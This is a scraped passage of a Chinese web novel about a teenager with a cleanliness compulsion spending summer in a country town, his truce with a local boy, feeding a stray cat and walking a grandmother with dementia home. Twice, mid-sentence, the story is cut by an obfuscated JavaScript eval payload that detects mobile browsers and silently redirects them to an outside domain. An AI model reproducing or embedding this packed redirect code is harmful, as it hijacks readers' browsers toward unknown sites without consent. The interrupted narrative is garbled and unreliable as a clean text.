“嗯。”焦青钰点了点头,没看历霜,“我在等你把餐巾纸塞嘴里。” 芳沁大笑起来,轻拍焦青钰的后背:“哈哈哈哈——小钰真幽默。” 焦青钰没说话,慢慢吃饭。 历霜:“……” 只有他知道,焦青钰不是在幽默。 这人是真想看。 吃完饭,三人分工打扫卫生,历霜戴上手套和口罩,开始擦桌子。 这身装扮说他是专业保洁人员都行。 芳沁不想让客人做事,但焦青钰说什么都要洗碗,她只能跟进厨房里一起干活,顺便夸赞他:“等你爸妈回来了,我一定在他们面前使劲夸你。” 焦青钰的手短暂一顿,潺潺水流经过他的双手,他看着那些脏污渍都被漩涡带入下水道。 “好,谢谢芳姑。”他小声回答。 他们俩出来的时候,历霜已经擦完桌子,正拿着手机给灯笼拍视频。 灯笼本来坐得好好的,看见俩人出来,立刻起身扑向焦青钰。 “小叛徒。”历霜笑着收起手机。 芳沁冲历霜点头:“狸狸,小钰要走了,送送他。” “我送他?”历霜指着自己,“他比我还熟这里的路吧?” “唉。”芳沁冲他使眼色。 历霜耸了耸肩,跟焦青钰一块出去了,灯笼跟在他们俩后面。 两人站在铁门口,灯笼靠着墙开始撒尿,撒完又绕着他们俩转圈。没边牧的样,倒是有边牧的命。 偏偏在这样的情境下,历霜才真正意义上打量了焦青钰——简单的白色长袖配黑色短裤,利落的剪裁衬得他双腿又长又直。 帆布鞋有点白的过分,边缘毛糙,应该洗了很多次。 历霜的视线落回焦青钰冷漠的脸上,率先开口:“我们谈谈吧。” 焦青钰似乎知道他想要提议,站在没动:“谈什么?” 历霜伸出手,掌心朝上:“有别人在就休战。” 焦青钰目光扫过历霜的手:“……意思就是,没人的时候可以打一架?” “当然可以,”历霜勾起唇角,露出狡黠的笑,“只要你不怕多年经营的形象被毁掉就好了。毕竟要我说出去,你觉得这些邻居会信我自己揍自己,还是信你打的我?” 焦青钰沉默几秒,伸手握住历霜:“我接受。” “很明智。”历霜说。 两人没握几秒,就像触电一样弹开。历霜依旧保持微笑,焦青钰最后瞥了他一眼,转身离开。 待焦青钰的身影彻底消失,历霜的嘴角也渐渐放下,他毫无留恋地走回屋里,正好对上走出来的芳沁。 芳沁纳闷地张望门口:“这么快就好了?” “好了,”历霜推着芳沁转身,“再送远点我就迷路了。” 芳沁被逗乐了:“瞧你说的,哪有那么过分。” 她让历霜送焦青钰也纯属看历霜闲着没事,让找个同龄人聊天解闷,她也没必要一直盯着历霜社交,也就没多问了。 芳沁背上用了好多年的斜挎包,对逗狗的历霜说:“那我去找李二嫂了,你玩你的,晚饭前记得回来就成。” 历霜扬着声音回答:“好——” “签订”和平条约后,历霜不再担心和焦青钰硬碰硬,心里舒坦不少,下午写完题就去东街口闲逛了。 他因为几天一直吃那边的葱油饼,葱油饼的摊主早眼熟他了,今天两人正式唠了一会儿天。 摊主方言讲惯了,普通话也带点地方口音,不过历霜能听懂。 摊主家里正好也有个上高中的儿子,所以对同样是高中生的历霜格外上心,一边问历霜城里高中怎么样,一边处理手里的饼。 历霜有问必答,遇上不好细说的就委婉绕过去,末了还不忘把话头带回摊子上。 什么手艺绝了,什么饼皮酥得掉渣,里里外外把摊子给夸了一遍。 摊主被哄得眉开眼笑乐呵呵地要多送他一张梅干菜饼,历霜当然是拒绝的。 两人你推我让拉扯了半天,熟稔得像是认识了好几年,搞得新来的客人以为历霜是摊主的儿子,问历霜他爸干了多久。 两人稍微一愣,告诉客人他们俩没关系。客人知道后脸都红了,这两人倒是笑了起来。 历霜又开始跟客人聊天,原本这客人是隔壁县城的,今天特地坐大巴过来看萤火虫。 历霜一下子想起当时李二嫂介绍的萤风山,问了下客人,果然是去那里的。 “对,现在有萤火虫的地方不多了,这附近几个地方,就这里最多,晚上可漂亮了。”客人是一位三十多岁的叔叔,像导游一样向历霜介绍起来。 历霜点点头,心里也有了主意。 他其实一开始把萤风山排除了,他不大喜欢爬山。一是热,容易出汗,黏糊糊的很难受;二是山上蚊虫多,三是路上的枯叶树叶,或者下雨带下来的脏东西都很多,他怕自己受不住。 其实说白了,还是洁癖的问题。他但凡没洁癖,前两天就去山上了。 历霜回家还在想萤风山的事。 这可是城市里看不见的萤火虫,要是什么都不看,就这么回上海了,那肯定会成为一大遗憾。 等四点半,打麻将的芳沁回来了,历霜在餐桌上将下午的事复述给芳沁。 芳沁听到他被认成人家儿子这段时,笑得整个人往后仰。 “你悠着点。”历霜真有点担心芳沁会不会笑背过去。 “还好你爸不在,要是他听见你一天内变成别人的儿子,他指定又要哭了!”芳沁在这时候都不忘揶揄她弟。 历霜的继父芳陆英爱哭这件事已经不算秘密了。 这位在外人眼里风度翩翩的骨科大夫,瞧着精明能干、成熟帅气,实则心思敏感得很,带点泪失禁的毛病。 比如历霜住院那会儿,芳陆英一进病房就开始掉眼泪。 他们这些来看望历霜的亲戚,一进门就看见:脑袋捆着纱布、挂着吊瓶的历霜耐心安慰身强体壮、哭成泪人的芳陆英。 芳沁想起这件事就丢人:“当时你隔壁床的小朋友差点笑晕过去,丢死人了。” “我觉得还好吧。”当事人倒没觉得有什么,可能是他早习惯了。 芳沁深知亲弟是什么德行,总觉得历霜跟着芳陆英简直亏大了:“那是你和如宜性格好,能忍受他那脾气。” “那也得我爸人好,我和我妈才对他好。”历霜为芳陆英辩解,“要不是我爸,我不可能好那么快。” 芳沁愣了一下,眼睛扫视身强体壮的历霜:“……这倒也是。” 小时候的历霜简直惨不忍睹,洁癖比现在要过分十倍。 原本应该活蹦乱跳、脸颊肉嘟嘟的年纪,历霜却很瘦。 原因是他抗拒吃饭,他觉得加过油的菜都是脏的,只有清水焯过的菜才干净,所以不怎么吃饭,只喝历如宜买的营养剂。 还好历如宜有钱,普通人家都抗不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16208004|181326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过两年。 而且当时的历霜只允许历如宜和芳陆英碰他,如果其他人碰到他,他就会对自己进行强制性消毒——手洗到通红,狂喷消毒药水。 历霜甚至无法去学校上课,只能在家里进行一二年级的授课。 历如宜因为当时手里有和前夫的官司和公司问题,无法脱开身。 和她订婚的芳陆英直接辞了医院的工作,特地去社区对面的中医馆上班,就为了能随时回来陪着历霜。 有次芳沁发现历霜要摔倒,伸手去扶了一下,历霜满眼惊恐地道了谢,转身就冲进洗手间疯狂洗手。 芳沁赶紧给下楼买菜的芳陆英打电话,芳陆英一进门就直奔厕所,一把抱住历霜。 那时的历霜崩溃地大喊大叫,一直说自己好脏,为什么这么脏,为什么洗不干净。芳陆英任凭他吼叫捶打,只是坐在地上紧紧抱着他,红着眼眶轻声哄劝,一点点喂他吃药。 最后历霜平复下来,跟芳沁说了对不起。 时隔半年,芳沁在芳陆英和历如宜的婚礼上再见到历霜时。历霜状态好了不少,不仅能小心翼翼地牵住她的手,还能吃饭店里的菜了。 到了来年开春,历霜除了手会洗到变红以外,其他与普通同学无差别。芳沁抱他都没关系,甚至还会弯着笑眼喊她再来一次。所以后来她见了历霜,总爱把他抱起来掂量掂量。 从骨瘦如柴到现在这么健壮,从经常发病到现在只是有点小洁癖的模样。 历霜的这些变化,就是芳陆英贡献的证明,这让芳沁如何反驳呢。 芳沁长舒一口气,望着眼前好好吃饭的历霜,轻悄悄地说:“等你做好心理准备,什么时候想去那个山了,你就喊姑妈,姑妈陪你。” 历霜眨巴着大眼睛,笑眯眯地回答:“谢谢姑妈。” “我们之间谢什么呀。”芳沁捏了一下历霜的脸,历霜没有擦,接着吃饭。 晚饭后,历霜先去遛狗,回来开始做题。 他本身就是一个有计划的人,如果当天不完成计划,他就有点难受。 九点二十分,写完题的历霜站起来伸了个懒腰,发现外头好像刮起了阵阵的轻风。 这让他多了点雅兴,披了件外套就下楼了。 正在敷面膜的芳沁听见动静,转身问换鞋的历霜:“又要去哪?” “我去外头走走。”历霜换好鞋,顺便将一包餐巾纸塞进口袋里,“今天天气好,看看星星。” 芳沁“哦”了一声:“那别走远啊。” 历霜挥挥手出了门,在门口犹豫了几秒后,选择去小广场的路。 夜晚的乡间,星星像是被人随手撒下的碎钻,稀疏却明亮,月光透过云层,在田埂上洒下一层薄薄的银辉。 空气里浮动着田埂的青草香,吸进肺里都觉得熨帖。 在这样的环境下散步是非常治愈的,也是历霜在上海时无法想象的。 历霜在一盏老旧的路灯下停住脚,望着远处一片漆黑的田野,深深地吸了一口气。 “喵~” 历霜一愣。怎么他吸气还会发出猫叫? “喵~” 猫叫声再次响起,历霜这才意识到是有只真猫。 他顺着声音一路探寻,在身后的小巷里发现一只橘猫,看着至少有一岁了。 这猫的耳朵尖缺了一小块,像是被剪过,想来是做过绝育的。 历霜蹲在离它一米远的地方,这猫倒是不怕人,完全没有跑的想法,只是在黑漆漆的墙下盯着历霜。 “怎么了?你饿了?”历霜问,“我看你这体型,是吃百家饭长大的吧?” 橘猫又喵了一声,像是回应他。 “行,你遇到我这个好心的帅哥也是你的福报了,”历霜站了起来,“你在这儿等等,我回去看看有什么吃的。” 橘猫盯着他:“喵。” 历霜回到家里,问芳沁有没有猫能吃的东西。 芳沁立马明白了,指着储物柜上层说:“你遇到大胖橘了啊?呶,我上次特地买的猫罐头,第二个。” “这猫是多出名啊,连你都认识啊。”历霜一拉开柜门就看见十几个猫罐头。 “这里一大半的人都认识它,靠猫叫吸引把人骗过去送吃的。”芳沁讲着讲着就笑了,“结果上次骗了个卫生院的,直接抓去噶蛋了,真是笑死我了。” 被骗过去的历霜也笑了笑,拿了猫粮就走。 历霜怕那只橘猫又去“骗”别人,赶紧加快了步伐,等快走到那个小巷口,他发现有个人影蹲在他刚才的位子上。 那个人穿的衣服过分眼熟,让历霜猛地放慢脚步,轻悄悄地走过去。 越靠近,历霜看得越清楚,答案也渐渐清晰。 不会是…… 在看到那个人的发型时,历霜深吸一口气,说出了那个答案:“焦青钰。” 7. 春光作序 八点四十,亮堂堂的便利店玻璃门被推开,一个清瘦的人影走了出来。 “辛苦了。” 焦青钰冲里面挥了挥手,转身融进渐浓的夜色里。 他原本的下班时间是晚上九点,但便利店的同事们知道他是高中生后,总会让他早点走。 焦青钰原计划是直接回家,但他晚饭吃的实在太少,就一个破饭团,而且还拿错了,拿成了他不喜欢的金枪鱼味。 肠胃就在晚上发生了逆反心理,走一步锤他一次,锤得他有点不舒服了。 焦青钰不是个没苦硬吃的人,二话不说直接去沿街的面馆点了份八元的云吴里。 云吴里是多溪镇的特色小吃,猪肉块裹着面粉糊在油锅里炸至金黄捞出,再烧面下锅,配上脆嫩的笋干、腌得鲜香的咸菜,再浇一勺熬得浓郁的卤汁,最后摆上炸酥肉,香气能飘出半条街。 焦青钰很喜欢吃这个,每次来面馆必点这个。 他摘下蒙着层水雾的眼镜,随手放在桌边,一边吃面,一边看刚进来的短信。 【李丰月的妈妈】:你明天会来吗? 【焦青钰】:来的。 【李丰月妈妈】:太好了,那直接来店里吧,我们买了榴莲 【焦青钰】:不用破费。 【李丰月妈妈】:没事,正好丰月要吃,他让你一起来 【焦青钰】:那好的,谢谢。 焦青钰滋溜地吃完面,连汤汁都不剩地喝完了,这才起身回去。 夏夜的风里总裹着烧烤摊的孜然香,混着路边酒桌上传来的猜拳声和笑声。 焦青钰路过时稍稍瞥了一眼。 老板扛着一箱啤酒过来,堆在那群人的桌上;桌旁有个半大的小孩蹲在地上玩石子,被旁边的成年男人一把拉住手,低声嗔怪着不让他再啃手指。 其他大人大笑不止。 焦青钰抿了抿嘴唇,视线慢慢悠悠移向毫无遮挡的马路尽头。 两幢矮房的檐角勾勒出一道斜斜的弧线,把夜空分成了两半,星星就从那道缝里挤出来,密密麻麻铺满了整片夜空。 很漂亮。 他看了十几年也没有看厌。 可他还是会闪过一丝念头:其他地方的星空又是什么样的呢。 他转了个弯,脚下踏上回家的黄土路。 这里的房屋每隔几幢就会分出一条路,外地叫小巷,他们这里的方言叫港子。 在经过第三条港子的时候,焦青钰一眼就瞧见那团明晃晃的黄色。 他走过去蹲下,低声询问这只橘猫:“你怎么在这里?” “喵~”橘猫懒洋洋地起身,用脑袋蹭了蹭他的鞋边,大约是闻出了熟悉的气味,当即四肢一摊。 别的猫倒下顶多发出毛发摩擦地面的声音,这只橘猫倒下时发出了“啪叽”一声,完全实心,白花花的肚毛下全是没消化的肉。 焦青钰像专业的搓澡师傅,伸手就往它下巴底下挠,力道不轻不重,橘猫舒服地发出“呼噜”声。 没挠几下,身后就传来熟悉的声音,带着点意外的调子。 “焦青钰?” 焦青钰抬头,历霜正弯着腰站在他上方,两人的目光撞在一起。 历霜额前的刘海轻飘飘垂着,眉骨上那道浅疤格外清晰。 他缓缓低下头,继续给橘猫顺毛,声音平平的:“又是你。” 历霜没接这话茬,反而朝地上的猫扬了扬下巴:“你也认识它?” 焦青钰回答:“老熟猫。” “它叫什么。”历霜问。 “咪咪。”焦青钰答。 此刻,橘猫非常有眼力见地叫了一声:“喵~” 历霜:“……” 历霜看着焦青钰脑袋上的旋儿,又问:“你要是遇到只狗,是不是叫他汪汪。” 焦青钰眼皮都没抬,语气淡淡的:“不然?” 历霜长长地“哦”了一声,慢悠悠道:“那你下次遇到个陌生人,是不是管他叫人人?” “……” 焦青钰挠猫的手顿了顿,抬眼睨了他一眼,随后又低下头继续给橘猫顺毛。 那眼神里明晃晃写着 “无聊”两个字。 历霜想,焦青钰低头那会儿肯定翻白眼了。 “你喂东西了吗?”历霜说着,用餐巾纸垫着罐头盖,稍一用力就撬开了,“我带罐头了。” 焦青钰没有再和历霜对冲,直接站起身,往右跨了半步,单手插兜倚着墙。 焦青钰的按摩服务到此结束,橘猫还没来得及遗憾,新鲜的猫罐头就放在了它的面前。 橘猫立马滋溜滋溜地舔起来。 焦青钰就这么看着历霜。 看着历霜缓缓蹲下,始终和橘猫保持着半臂距离,那只手在空中悬停了几秒,最终也没有摸上去。 历霜微眯起眼睛,双唇一勾,对着埋头干饭的橘猫说:“两个人伺候你,你是真有福气。” 橘猫压根不搭理他。 他又凑近了些,补充道:“特别是其中有个姓历的还长那么帅。” 焦青钰:“……” 焦青钰很无语,怎么能有人自恋得如此丝滑? 不过除去其他各项,历霜长得确实不错,至少他那些朋友称呼历霜都是“那个城里来的帅哥”。 焦青钰最终还是没忍住,问:“你一直都这么自恋吗?” 历霜扭头望他一眼:“实话实说不叫自恋。” 焦青钰:“……” 虽然是实话,但很欠。 这句话焦青钰没说,因为他要是说了,历霜肯定又会阴阳他。 他现在吃的很饱,心情还不错,不想吵架。 “那你继续恋着,我走了。”焦青钰转身就走。 脚步声渐渐远了,历霜抱着膝盖对橘猫说:“我没想到的他竟然也会照顾你,我还以为他会把你抓去卖了。” 橘猫只顾着埋头狂吃,半点没理会他的碎碎念。 等它吃完了,历霜手裹着餐巾纸,捡起空罐子。 橘猫吃饱喝足,也要过来蹭历霜,历霜赶紧倒退两步:“饭后补偿就不用了,只要下次见面认出我就行。” 橘猫哪听得懂这些话,它坐下就开始舔自己干瘪的蛋蛋。 历霜趁机溜走,路上遇到遇到个垃圾桶,把空罐子连同餐巾纸一起丢进去。 “哐当。” 焦青钰将最后一件衣服投进竹篮里,提起篮子全都倒进洗衣机,再按下五点的定时。 洗衣机“滴滴”两声,表示正常运转。 焦青钰伸了个懒腰,又从冰箱里拿出一瓶牛奶,坐在院角的板凳上,望着墙根那排绿油油的小葱出神。 他因为不想买菜,自己种了番茄和小葱。 这俩玩意生长速度快得惊人,前一批的番茄刚摘下没多久,新的一批过几天又能吃了。 “……到时候给芳姑送去。”焦青钰念叨着,拧开瓶盖,一口气喝完牛奶。 院墙外的蝉鸣渐渐盖过了蛙声,夜色从浓墨似的黑,慢慢晕成牛奶的乳白色。 不过两天功夫,枝头那几颗橙黄的番茄彻底染成了透亮的红,在绿叶间坠着,像颗颗玛瑙。 焦青钰拎着一兜小番茄敲门时,芳沁正巧在扫院子,她看见番茄的第一反应就是拉着他说:“你吃中饭了吗?一起吃呗。” 焦青钰沉默了几秒。 他送番茄本来就是感谢芳沁请他吃饭,再请下去又说不清了。 芳沁猜到这小孩肯定又在想你来我往的事了,当即双手叉腰,故意板起脸:“怎么?不喜欢芳姑做的菜吗?” 对方眼睛倏地睁大些,连忙摆手:“不是的,只是一直吃你的饭,不好意思。” “哎哟,这有啥不好意思的,进来再说。” 芳沁不由分说把人拉进院子,手疾眼快地关上院门,像怕他跑了似的, “汪汪!” 灯笼找准时机扑上来,焦青钰熟练地蹲下身揉它的脸。 灯笼咧着嘴哈喇子直流,他也不嫌弃,随手把水渍抹回狗毛上。 芳沁放好扫帚,回头就看见一人一狗开始拔河,笑着说:“你应该很久没吃榴莲了吧?” 焦青钰却摇头:“吃过了。” 芳沁愣了愣:“什么时候?” “两天前。”焦青钰稍微补充了一下,“朋友家请我吃的。” “都过去两天了,早消化完了。”芳沁笑得眼角起了细纹,转身往客厅走,“快进来。” 焦青钰松开灯笼,拍了拍手上的狗毛跟进去。 芳沁从冰箱里端出一盒包好的榴莲肉,放在桌上:“你今天再吃一次,不然留着也是浪费。” 焦青钰瞥了一眼榴莲肉,满满一盒。 哪怕是物价低的多溪镇,榴莲也跟上海一个价格,甚至换算起来更贵。 芳沁这盒肉质饱满,看着就超过一百了。 焦青钰知道芳沁是好心。但他要是吃了,某人会不会因此和芳沁吵架? 他不想给芳沁添麻烦。 焦青钰没直接应,先扫了圈客厅,没瞧见那个人影,问道:“历霜呢?” “他出去玩了,”芳沁又拿来一副手套,“这就是他留给你的。” 这答案实在出乎预料。 焦青钰愣住了,怔怔地看着芳沁:“他?” “他走之前说,”芳沁食指往上挑了挑眼尾,再压着嗓子模仿历霜的调调,“‘姑妈啊,你要是让焦青钰过来吃饭,就把这个给他吃吧。’” 焦青钰:“……演的真像。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16208005|181326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但很意外。 意外历霜能猜到芳沁会留他吃饭,更意外那家伙竟然会特意留榴莲给他。 芳沁像是猜到他在想什么,掂了掂那袋小番茄,开朗地说:“没什么好意外的,他和你一样,都是大方又善良的好孩子。” 大方又善良? 焦青钰想起那晚喂猫的画面,确实能算的上善良。 焦青钰抓起一块榴莲,放进嘴里。 “真好吃。” 历霜冲面包店的店员比了个大拇指。 店员的眼睛都弯成了月牙:“是吧,咱们家的面包是挺不错的。” 这家面包店位于菜场对面,主打中式面包,每个面包都胀得像两个拳头那么大,馅料足得轻轻一捏就往外出冒。 店员是个爱笑的阿姨,听历霜说想尝尝味道,干脆每种都扯了一大块递过来。 历霜头一回尝味道尝饱了。 人家这么实在,历霜再不买简直说不过去。 他最后挑了肉松芋泥馅和香肠卷,沉甸甸装了两大袋,结账时才花了十一元。 他找了张露天的小桌子,把面包摆得整整齐齐,拍了张照,发了朋友圈:“各位,猜猜这两袋都少钱。” 茂文德率先评论:“这么大?盲猜二十五。” 其他同学跟着凑热闹,评论区里猜的价格最低也有二十。 毕竟他们学校对门的面包店,五片吐司就要三十五,二十已经算是他们心中的低价了。 但事实上这地方的物价超乎他们的想象。 当历霜发出答案时,大家清一色地跟队形:“少爷代购吗?” 【雪球】:记得每人给我五元试吃费,我帮你们试吃。 【班长】评论:又开始了是吗? 【毛毛】评论:梦回你走读帮我带饭。 【狗哥】评论:?你这风姿。 【花花】评论:你跟上次那个帅哥一起来的吗? 历霜一眼看见最后一条评论,无语地笑了:“花谷云又开始了。” 花谷云是他们班的历史课代表,一位特爱看武侠剧的姑娘,曾有“老师抓逃早自习,靠身体素质甩开老师追捕,成功跑进班级”的壮举。 这事直接让校规多了条“禁止早自习在操场跑步”的新规,等他开学了,绝对要将这条传说流传于新高三。 此女有个藏得极深的喜好,只有他和茂文德知道——喜欢忧郁或高冷型帅哥。 那天历霜发的视频里,焦青钰正中她的喜好,晚上就来问他那个帅哥是谁,一直记到现在。 【雪球】评论【花花】:我的姐啊,一秒的镜头你记了几天了? 【花花】评论:没办法,谁让咱们学校没那么帅的人 【雪球】评论【花花】:?我呢 【花花】评论:你不算人,你是男神。 【雪球】评论【花花】:【大拇指】花姐英明。 【狗哥】评论:你们俩有病吧? 历霜不管茂文德的评论,在三人小群里了@花谷云,发去一朵玫瑰花盛开后出现“谢谢你”的表情。 花谷云回了同款“不客气”表情。 【狗哥】:俩风姿 【雪球】:谢谢狗哥夸奖,真是一条好狗 【雪球】:嘬嘬嘬,我让我爸多买点狗粮给你吃 【狗哥】:? 【花花】:你说你惹他干嘛 【狗哥】:男神我错了 历霜正笑呵呵地回短信,突然听到响亮的一嗓门:“哟,这不历霜吗?” 他抬头一瞧,正是拎着菜篮子的李二嫂。 李二嫂左手挎着刚买的青菜,右手稳稳牵着位老奶奶。 老人家头发花白稀疏,穿件洗得发白的棉麻短袖,手里拄着根磨得光滑的拐杖,走路时腿脚不太灵便,一瘸一拐的。 历霜连忙收起手机,笑着打招呼:“二嫂好。” 李二嫂把菜篮子往桌边一放,热络地说:“你也买这家面包啊,这家确实好吃。” “这位奶奶是?”历霜目光转向她搀扶的老人。 他去过李二嫂家好几回,印象里她家老人不是这模样。 “曹骏他奶奶,哦,说了你也不认识。”李二嫂拍了拍老人的胳膊,“我要送她回家呢。” 历霜连忙微微欠身,轻声道:“奶奶好。” 奶奶眨巴着有些浑浊的眼睛,缓缓抬起布满老年斑的手,带着浓重的乡音问:“你是骏骏的朋友哇?怎么不上课啊?” 历霜弯下腰,脸上漾着浅浅的笑:“奶奶,现在暑假了,不上课。” 李二嫂在一旁笑着解释:“你不用回她,她有老年痴呆,一直以为他孙子在还在上课呢。” “老年痴呆?” 历霜愣了愣,眉头不自觉蹙起。 8. 春光作序 历霜好奇的是既然老年痴呆,为什么家里人还让她出来。李二嫂很快告诉了他答案。 原来这位奶奶的儿子和女婿都去世了,仅剩个上高中的孙子。 她的记忆还停留在孙子初中的时候,所以每天来菜场买菜,再去他初中等孙子。她只记得来的路,不记得回去的路,走丢过好几次。 那位小孙子曾把奶奶关家里,结果奶奶又是砸墙又是锤门的,无奈之下只能把奶奶放出来了,靠熟悉他家的居民们送她回家。 历霜紧皱着眉头听完,再问道:“那要是那天没人认识她呢?” “所以骏骏做了个牌子,真走丢了,别人也能送她回去。”李二嫂拉出奶奶脖子上的项链,坠着一块像公交卡似的的牌子。 历霜仔细看去,牌子上写着—— 家住路云街路云小区1-2,贴有笑脸的灰色铁门,谢谢好心人送回。 历霜想了想,跟李二嫂说:“那我跟你一块儿去吧,要是下次我见着她了,我也能送她回去。” 李二嫂有些意外:“行啊,那可太好了。” 于是历霜拎起李二嫂的袋子,让她们俩带路。 路云小区在他们俩家的反方向,从菜场过去两条街。 没有人行道,只有与柏油马路分别开的土路,宽度能容纳两个人,再多一个就得和电瓶车挤一块。 历霜有点佩服这个奶奶了,大夏天的,拄着拐杖能走那么长一段路。 而且奶奶这一路上说的最多的都就是“骏骏”两个字,真的很爱她孙子。 走了约摸十五分钟的样子,他们来到矮房区,这些矮房的围墙外是每家每户种的植物。 历霜认不全,只认识攀上藤蔓的黄瓜。 李二嫂带他们走到一棵茂盛的小树,树后果然有扇贴有笑脸的铁门。 杜奶奶在看到这扇门时,话也变多起来:“哦,骏骏回来了吗?” 李二嫂按了门铃,里头没什么动静。 “应该是出去找人了,”李二嫂拿出手机,“我给曹骏打个电话。” 电话很快接通了,李二嫂对电话那头说起方言,嘚吧嘚吧语速很快。 历霜听不懂讲了什么,也帮不上忙,只能站在那里,腾出一只手给奶奶遮阳。 过了两分钟,远远跑来穿老头衫的小伙子。 这小伙子历霜还挺熟的,历霜先打招呼:“山鸡。” 山鸡跑到他们面前,累得直喘气,随手抹了把汗,抬头刚要道谢:“谢……啊?历霜你也在啊?” 历霜笑眯眯地看着他:“原来你叫曹骏啊。” 这么一说,山鸡和他奶奶确实像,都是圆圆的豆豆眼,笑起来露出两颗小兔牙。 “你们认识啊?”李二嫂视线在两人之间打了个转,笑着说,“那正好,省得我介绍了。” “玩滑板的时候认识的,”山鸡挠挠头,侧身让出路,“外面怪热的,你们先进屋歇会儿。” 三人把杜奶奶扶进屋子,山鸡将她安置在躺椅上,递过遥控器。 老人家戴上老花镜,安安静静看起了电视。山鸡转身去洗水果,历霜趁机打量起屋里的陈设。 不同于芳沁那些高科技,山鸡家很朴素,就是历霜记忆中农村房的样子。 柜子看着用了十来年,门轴“吱呀”作响,表面布满磕碰的痕迹,却擦得干干净净;院子里种着应季的蔬菜,墙根挂着一排编得整整齐齐的竹篮,瞧着是自己编的,不然不会有这么多。 “谢谢你们啊,”山鸡端来一盘洗好的桃子,又道了次谢,“我就洗个头的功夫,她又溜出去了。” “你也不容易。”李二嫂熟门熟路地起身往厨房走,“还没吃饭吧?我给你煮碗面。” 山鸡刚说了一个“没”字,肚子就发出“咕噜”声,顿时哑了。 李二嫂在厨房忙活时,杜奶奶也想凑过去,被山鸡连哄带劝拉回了躺椅。 历霜洗完手,拿起个桃子啃着,像个观众似的看着山鸡和奶奶说话。 没料到山鸡突然抬头问他:“我还以为你会挺嫌弃我们家的。” 历霜愣了一下,朝院子扬了扬下巴:“这么干净整洁,我干嘛要嫌弃啊?夸都来不及。” 这是实话。 今天刮了大风,地上也没多少沙土,连清洁工具都在墙角摆得整整齐齐。 历霜向来对爱整洁的人有好感,忍不住又夸了两句。 山鸡听了,腰杆都挺直了些,热情地给历霜介绍院子里的植物。 历霜这才知道门口那棵树是桂花树,他光想想秋天满院飘香的样子,就已经觉得惬意了。 不过十几分钟,李二嫂端着两碗肉丝面从厨房出来,香气瞬间飘满了屋子。 她把面放在桌上,拿起自己的东西,跟历霜说:“那霜霜你留着唠会儿,我先走了。” “嗯好。”历霜点头。 山鸡就要送她,李二嫂揉了一把他的头发,开玩笑道:“我就不用你送了,二嫂认识路。” 山鸡挠挠脖颈,不好意思地笑了。 李二嫂走后,历霜在那慢慢悠悠地吃桃,山鸡和他奶奶吃面。 杜奶奶吃得慢,但会把碗里的肉都挑给山鸡。 客厅没有开空调,却有个像班级里那样吊顶的电风扇,风力巨大,竟然还挺凉快的。 历霜看了一会儿手机,单手撑着下巴,随口问山鸡:“我听二嫂说你们家就只有你和奶奶了?那你家的收入从哪里来的?” 历霜不是想管别人的私事。 只是一个快八十多的老人和高中还没毕业的小孩站在你面前,你真的很难不好奇他们家是怎么维持生计的。 山鸡倒也大方,坦诚地回答他:“奶奶的退休金啊,卖那些竹篮啊,还有你经过的那几片农田,有一片是我们家的,东西拖到集市上给认识的叔叔卖,赚的钱分百分之二十给他,剩下的给我们。” “这倒挺好,”历霜夸赞道,“也不耽误你上学。” “骏骏吃这个。”杜奶奶插了嘴,又给山鸡夹了块肉。 山鸡趁奶奶不注意,把肉重新塞进奶奶的碗里,完全没发现的杜奶奶总算吃掉了那块肉。 历霜和山鸡会心一笑,慢慢等杜奶奶吃面。 吃完面,山鸡将奶奶重新带到躺椅上看电视,才重新回到餐桌这里,和历霜继续刚才的话题:“找人卖菜是钰哥的主意,也是他认识的人,所以信得过。” 历霜听到了个意料之外的名字:“焦青钰?” “嗯,他帮了我很多,每年我家要收东西了,他就会过来帮忙,有时候我还没起床,他已经收了一半了。”山鸡说,眼神里都是感谢。 历霜虽然和焦青钰不对付,但对事不对人,该夸的地方还是得夸:“那他干活还挺麻利的。” 山鸡使劲点头:“对啊对啊,钰哥就是属于话少做多的人,不多废话,直接上手。” 历霜:“……” 确实,生气的时候也是,都是直接动手的。 一说起焦青钰,山鸡的话匣子就像被撬开了似的,拉着历霜在屋里转了个遍:“你看我家这几个柜子,都是他从二手家具市场淘来自己重新修了一遍再给我的;这个椅子也是他修的;诶还有这个,我奶奶的拐杖也是他做的。” 杜奶奶的拐杖确实和市场上不同。 没有刻意抛光打磨的痕迹,就是根普通的木头,却在底部加了三条小柱子做支撑,握在手里稳当得很,往地上一立能直直戳着。 历霜想起那天山鸡为焦青钰辩解时的认真模样,忍不住轻笑:“难怪你说他人挺好的。” “山鸡,哟,你也在啊——” 院子外传来一声喊。 两人同时回头,赵益和站在门口,旁边跟着个扎双马尾的小姑娘。 小姑娘脸颊上布着星星点点的雀斑,眼睛却很亮,瞧着精气神十足。 “二牛,棠姐。”山鸡走过去迎接他们。 那位“棠姐”的视线在历霜身上打了个转,又转向山鸡:“奶奶回来了?” “对。”山鸡指着历霜说,“历霜和还有个阿姨送回来的。” “你没给焦青钰打电话吗?”“棠姐”问他。 “天天打扰他也不是个事啊。”山鸡说。 这边赵益和笑着打趣历霜:“哥们你还穿外套啊?你不热吗?” “还好吧。”历霜低头看自己的鞋子。 历霜今天穿了件薄薄的防晒服,里面是白色短袖,棕色皮带卡在藏青色牛仔短裤腰间,瞧着清爽利落。 反观屋里其他人,不是吊带裙就是老头衫。 